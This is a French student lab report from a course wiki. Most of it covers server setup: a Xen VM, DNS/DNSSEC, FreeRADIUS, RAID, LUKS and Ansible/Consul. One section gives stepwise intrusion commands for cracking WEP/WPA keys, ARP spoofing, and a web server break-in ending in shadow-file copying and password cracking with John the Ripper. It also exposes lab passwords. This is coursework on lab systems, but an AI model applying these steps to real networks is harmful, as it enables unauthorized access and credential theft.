belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{ { item } }"<br />
dest: "/etc/consul/{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
(Sans les espaces des accolades encore une fois)<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58016TP sysres IMA5 2021/2022 G62022-01-12T12:51:35Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
